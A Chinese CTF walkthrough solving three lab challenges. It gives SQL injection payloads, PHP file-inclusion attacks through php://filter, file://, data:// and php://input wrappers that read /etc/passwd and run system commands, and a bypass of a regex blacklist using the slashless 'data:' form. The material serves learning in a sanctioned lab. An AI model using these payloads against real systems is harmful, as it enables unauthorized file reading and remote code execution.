靶场地址:天狩CTF竞赛平台
进入靶场--ez-sqli
简单的登录页面,由于题目提示sql,那么直接进行sql注入即可,构造payload:
payload:1'order by 2#
payload:1'order by 3#
ok,爆出表的列数了,那么接下来可以使用联合查询爆数据库了,构造payload:
关于有些刚入门的小伙伴可能对于order by的用法不太清楚,可以在网上找,CSDN还是有很多的
payload:1'union select 1,database()#
嗯。。。。没想到直接出flag,这题有些简单了,要是伙伴觉得没有难度,可以去看看我的另一篇文章,那个有过滤的,比较有难度:第一届贵州理工校赛--网络知识小站-CSDN博客
进入靶场--ez-include 关于文件包含的知识点,小伙伴觉得有用的,可以保存下来,那么此题的思路应该就是文件包含了
ok,代码审计,那么我解释一下代码意思
<?php
// 关闭所有错误报告,防止敏感信息泄露
error_reporting(0);
// 高亮显示当前文件的源代码
highlight_file(__FILE__);
// 检查是否存在名为'file'的GET参数
if(isset($_GET['file'])){
// 将GET参数值赋给变量$file
$file = $_GET['file'];
}
// 检查$file是否包含"flag"字符串(不区分大小写)
if(preg_match('/flag/i', $file)){
// 如果包含则拒绝请求
echo 'No No No !';
}
else{
// 否则直接包含该文件
include $file;
}
此代码的意思是通过参数file来传递命令,并且命令中不能包含flag字符,那么会输出no,那么这里可以使用的知识点就是php伪协议了,关于什么是php伪协议,我在这里简单解释一下
什么是伪协议?
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。
伪协议也有很多重要的函数,在ctf中主要使用以下几种
filter
php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用;在文件包含中用于读取文件内容,读取后输出base64编码后的内容,要获取真实内容的话,需要进行base64解码:
payload:?file=php://filter/convert.base64-encode/resource=../flag.php
file
利用file协议执行任意文件读取:
?file=file://../../etc/passwd
data
通过data协议可以直接执行命令,利用条件:
php > 5.2
allow_url_fopen=On && allow_url_include=On
paylaod:http://example.net/?file=data://text/plain
执行命令只需要:http://example.net/?file=data://text/plain,<?php phpinfo(); ?>
input
input协议是个可以访问请求的原始数据的只读流。使用时,将要输入的数据以post方式提交:
利用条件:
1. PHP.ini 中 allow_url_include= On
2. php <5.0 ,allow_url_include=Off 也可以
比如读取目录结构
<?php print_r(scandir("var/www/html"))?> #改成想查看的路径即可。
还有一些比较少用,这里我就不列出来了
那么这里我使用的data来进行解题,虽然get请求不允许包含flag这个字符,那么可以通过fl*,将所有fl开头的文件读取出来,构造payload:
payload:http://example.com/include.php?file=data://text/plain,<?php system('cat /fl*'); ?>
ok,flag出来了,此题也可以使用input来解题,两种方法都是可行的,还是挺简单的,没有过滤,那么接下来的一题就存在过滤。但是也是比较简单的
进入靶场--ez-include-plus
嗯,也是代码审计,老规矩,解释一下代码
<?php
// 关闭所有错误提示,防止泄露敏感信息
error_reporting(0);
// 高亮显示当前文件源代码
highlight_file(__FILE__);
// 检查是否存在file参数
if(isset($_GET['file'])){
// 获取用户输入的文件路径
$file = $_GET['file'];
}
// 黑名单过滤增强版(正则表达式不区分大小写)
if(preg_match('/php:\/\/|file:\/\/|flag|http:\/\/|log|phar:\/\/|data:\/\//i', $file)){
// 匹配到危险关键词时拦截
echo 'No No No !';
}
else{
// 包含用户指定的文件
include $file;
}
此题已上一题相比,主要增加了过滤机制,还是以file作为参数进行传递命令
拦截以下关键词(i
修饰符表示不区分大小写):
-
协议过滤
-
php://
:禁用PHP伪协议(如php://filter) -
file://
:禁用文件协议 -
http://
:禁用远程文件包含 -
phar://
:禁用Phar反序列化 -
data://
:禁用数据流协议
-
-
敏感路径过滤
-
flag
:阻挡直接访问flag文件 -
log
:防止读取日志文件(如access.log)
-
过滤了许多协议,但是也有其他的协议没有过滤,比如input,此题可以用input解题,但是此黑名单过滤存在一定缺陷,因为不可能把全部过滤了,所以此过滤机制只是过滤了data://,但是并没有过滤data,为什么可以这样操作,这就涉及PHP伪协议解析机制:
PHP 对伪协议的识别实际上是通过 :
符号后的协议标识符判断,而非严格校验协议格式。
以下写法均会被识别为 data
协议:
data://text/plain,<?php system("ls");?>
data:text/plain,<?php echo "Hacked";?>
data://;base64,PD9waHAgc3lzdGVtKCJscyIpOz8+
所以关键点在于原过滤正则表达式 /data:\/\//i
只匹配了双斜杠的 data://
格式,但 未覆盖单斜杠或无斜杠 的变体。所以可以构造payload:
payload:http://example.com/include.php?file=data:text/plain,<?php system(cat /fl\ag);?>
ok,成功拿到flag,此题还是很简单的,就算没有想到解析协议绕过,也可以通过input协议得到flag.
总结一下
第一道题的话,嗯。。。太过于简单了,到第二步就出flag了
第二、三道的话,差不多,只不过后者加了黑名单过滤,但是解决方法还是一样的。
后续还会更新,感谢支持!!!